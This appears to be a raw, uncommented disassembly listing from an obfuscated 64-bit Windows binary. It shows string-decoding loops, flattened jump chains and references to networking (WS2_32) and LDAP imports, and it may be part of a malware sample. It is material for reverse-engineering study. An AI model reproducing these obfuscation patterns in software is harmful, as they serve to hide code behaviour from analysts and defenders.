movabs rdx, 0x4b8357d446fcbc20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
movabs rdx, 0x424acfe330710d84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xda8], r10b
inc rbx
jmp 0x1400842c2
movabs rdx, 0xb67664f8dd2c7ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x28
jb 0x14008463a
movabs rdx, 0xef4e08696587ea08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x70]
jmp 0x140084c47
movabs rcx, 0x81f6fb5504f33028
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
movabs rdx, 0x4b1391c16254ea50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x140084b89
movabs rdx, 0x1430282dbfb6a478
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
jmp 0x140084b53
movabs rdx, 0x6f85eb72d7dbd2f0
mov ecx, gethostname
jmp 0x140084c8c
movabs rdx, 0x38a281df353d8d18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400842c2
movabs rdx, 0x1bf184b929f4740
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400842c2
movabs rdx, 0xcadbaeb7f0010168
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140084c32
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14008485b
movabs rdx, 0x9b71b4c9d14f22ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x140084b05
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140084952
movabs rdx, 0xa181416dfdb523c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x3e8
jae 0x140084adb
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140084a29
movabs rdx, 0xca6be8a50b592f98
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
jmp 0x14008466b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008489a
movabs rcx, 0x80a7a91c56fbbab8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
inc rax
cmp r8, rax
jne 0x1400848cb
movabs rdx, 0xb78b12aff99a0090
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140084b89
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400848ec
movabs rdx, 0xee6e7c439c384668
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140084b41
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140084931
movabs rdx, 0x5c354f6ae174d218
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400847da
movabs rdx, 0x9318b8fe841317f0
mov ecx, gethostname
jmp 0x140084c8c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084973
movabs rdx, 0x40fb7daa82799814
mov ecx, Ordinal_60
jmp 0x140084c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400849b4
movabs rcx, 0x1c8923f90cf2af74
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2c
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400849e2
movabs rcx, 0x536c8d8caf90f54c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x140084d3a
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008481c
movabs rdx, 0xf816ca47976bc6d4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084a68
movabs rcx, 0x14f5238adf77570
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
inc rax
cmp r8, rax
jne 0x140084a99
movabs rdx, 0x3832bbcc5095bb48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140084b89
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140084aba
movabs rdx, 0x6f16255ff3340120
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140084b41
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008466e
movabs rdx, 0xdcdcf88738708cd0
mov ecx, Ordinal_41
jmp 0x140084cf3
movabs rdx, 0x263171fd08262fe0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xda8]
sub r10b, al
sub r10b, 0x20
jmp 0x140084c9b
movabs rdx, 0x5d14db90aac475b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xda8]
sub r10b, 8
jmp 0x140084b53
movabs rdx, 0x408bb7979dd1c644
mov ecx, reloc.WS2_32.dll_select
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0xf886905a7c1398a4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7c
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xda8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x93f845244d62bb90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xda8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
movabs rcx, 0x64fe11491358aee4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
dec rbx
inc rbx
jmp 0x1400842c2
movabs rdx, 0xf7373e21ce1c2334
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
jmp 0x140084c44
movabs rdx, 0x89706afa88df9784
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0x8abfbd3336d70cf4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xda8], cl
inc r9
dec rbx
inc rbx
jmp 0x1400842c2
movabs rdx, 0xe4c62e3fa104c5fc
mov ecx, recv
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0xc1a326c6d97552cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xda8], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
movabs rdx, 0xade2c4abfe668024
mov ecx, 2
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
movabs rcx, 0x76ff5b185bc83a4c
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x14
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
movabs rcx, 0xd2551e5d73ed68c4
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
movzx eax, byte [rbp + rbx + 0xda8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400842c2
movabs rcx, 0xc212ecd9be1d249c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
jmp 0x1400842be
movabs rcx, 0x8b2f83461b7edec4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
jmp 0x1400842a5
lea rcx, [rbp + 0x16b8438]
jmp 0x140084df0
lea rcx, [rbp + 0x17aa724]
jmp 0x140084df0
lea rcx, [rbp + 0xda8]
mov dword [rbp + 0xff0], 0x3e8
mov dword [rbp + 0xff8], 0xa
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xff0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xff8]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xdd0], 0xc1
mov byte [rbp + 0xdd1], 4
mov byte [rbp + 0xdd2], 0xca
mov byte [rbp + 0xdd3], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xdd4], gethostname
mov byte [rbp + 0xdd5], gethostname
mov byte [rbp + 0xdd6], Ordinal_60
mov byte [rbp + 0xdd7], 8
mov byte [rbp + 0xdd8], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd9], xmm0
mov qword [rbp + 0xde9], rax
mov word [rbp + 0xdf1], ax
movabs rsi, 0xe52fbaf8ff00fa2
movabs r12, 0x7a963cbf379db79a
movabs r14, 0x8f92fbd332a2b09e
movabs r15, 0x9a668254c367416a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140085aee
movzx ebx, byte [rbp + rdi + 0xdd0]
mov r10, rbx
cmp r8, rdi
ja 0x140085ae2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140084f17
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x36
jmp 0x140084f50
je 0x140085a51
inc rax
cmp r8, rax
je 0x1400859e7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400859b1
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085964
lea rax, [r9 + 8]
cmp r8, rax
je 0x140085912
cmp r9, rdi
ja 0x140085ad6
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x140084f7d
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x140084fc0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400858ea
inc rax
cmp r8, rax
je 0x1400858be
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008589b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085863
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008580e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140085494
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140085471
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140085440
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140085417
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400853f4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400853cc
lea rax, [r9 + 8]
cmp r8, rax
je 0x140085393
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140084fd0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140085aae
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140085a8b
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140085154
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140085135
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008511b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400852ce
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140084fd0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008529a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140085277
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008524f
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008521c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400851f4
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400851d1
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400851a3
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140085177
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x200]
jmp 0x140084fd0
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
jmp 0x140084fc0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140084f50
movabs rcx, 0xa53a08d6542bd236
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x140084ee4
movabs rcx, 0x7d6b63fe10450ddc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
inc r9
dec rdi
inc rdi
jmp 0x140084ed2
movabs rdx, 0x883eea7fa1099ea8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140084ed2
movabs rcx, 0x9312710131ce2f74
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x140085987
movabs rdx, 0x9de5f782c292c040
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400859cf
movabs rcx, 0xa8b97e045357510c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084ed2
movabs rdx, 0xb38d0485e41be1d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008582c
movabs rcx, 0xbe608b0774e072a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140085a09
movabs rcx, 0xc934118905a50370
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
movabs rdx, 0x84bf7551a1de1fd2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400857e4
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400855d1
movabs rdx, 0x35cc79904094bfb2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 3
jae 0x1400857ba
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400856a6
movabs rcx, 0x441f753fd084cf54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
cmp r9, 5
jb 0x1400857aa
movabs rcx, 0xd7dc343028d7275c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 8]
jmp 0x140085930
movabs rdx, 0x55f1e61d5fa05dcc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
movabs rdx, 0x81400023a2b2a0fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400859cf
movabs rcx, 0x8c1386a5337731c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x140085987
movabs rcx, 0x96e70d26c43bc294
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
dec rdi
inc rdi
jmp 0x140084ed2
movabs rdx, 0xa1ba93a855005360
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140084ed2
movabs rcx, 0xac8e1a29e5c4e42c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140085930
lea rdx, [r9 + 2]
cmp r8, rdx
jae 0x1400854bb
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x1400852f1
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400854fd
movabs rdx, 0x1ca5f75f1fe01f44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008552e
movabs rdx, 0x6feea5bfe56fdac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008582c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008556a
movabs rcx, 0xfc2b63da6d926ce0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084ed2
lea rax, [rdx + 1]
cmp r8, rax
jne 0x14008559b
movabs rdx, 0xf157dd58dccddc14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400859cf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400852f1
movabs rcx, 0xdbb0d055bb44ba7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
dec rdi
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400855fd
movabs rcx, 0x2af8f30eafd02ee6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x140085930
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008562f
movabs rcx, 0x1551e60b8e470d4e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
dec rdi
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140085660
movabs rdx, 0xffaad9086cbdebb6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400859cf
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008532f
movabs rdx, 0xd45cbf0229aba886
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400856e8
movabs rdx, 0x394beebe3fc03e88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140085719
movabs rdx, 0x23a4e1bb1e371cf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008582c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008573a
movabs rdx, 0x32a4e366be96a8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140085973
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008576c
movabs rcx, 0xf856c7b4db24d9c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140084ed2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085364
movabs rdx, 0xed8341334a6048f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140084ed2
mov byte [rbp + rdi + 0xdd0], r11b
inc rdi
jmp 0x140084ed2
movabs rdx, 0xcd08adae98129690
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xdd0]
jmp 0x140085981
movabs rcx, 0xc235272d074e05c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xdd0]
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14008582c
movabs rcx, 0xc28a4e249a901a0e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
movabs rdx, 0x3ccb63ec3eebbd5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xdd0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140085a09
movabs rdx, 0xcd5dd4a62b54aada
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084ed2
movabs rcx, 0xe304e1a94cddcc72
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
jmp 0x140085987
movabs rcx, 0xf8abeeac6e66ee0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
inc r9
dec rdi
inc rdi
jmp 0x140084ed2
movabs rdx, 0x37f752dff2b7ed6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140085930
movabs rcx, 0x1926823120b4a06e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
movabs rdx, 0x527270ef6074def6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xdd0], cl
inc r9
dec rdi
inc rdi
jmp 0x140084ed2
movabs rdx, 0x39a115b5d30252d2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x479eea6dcfb04e2a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x26
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xdd0], bl
jmp 0x1400859cf
movabs rcx, 0x44749c3763c6e39e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084ed2
mov rbx, r10
movabs rcx, 0x64ef2fbc16149602
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
movabs rdx, 0xb761a0ab768974f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xdd0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
movabs rdx, 0x6fc2b63da6d926ce
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xdd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084ed2
movabs rcx, 0xb00d8f57e4f06302
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x140084ed0
movabs rdx, 0xbae115d975b4f3ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140084ec0
lea rsi, [rbp + 0x1776948]
jmp 0x140085af5
lea rsi, [rbp + 0x15520e2]
jmp 0x140085af5
lea rsi, [rbp + 0xdd0]
lea rdx, [0x140228100]
lea rcx, [rbp + 0x638]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xdf8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xdf9], Ordinal_60
mov byte [rbp + 0xdfa], Ordinal_211
mov byte [rbp + 0xdfb], Ordinal_211
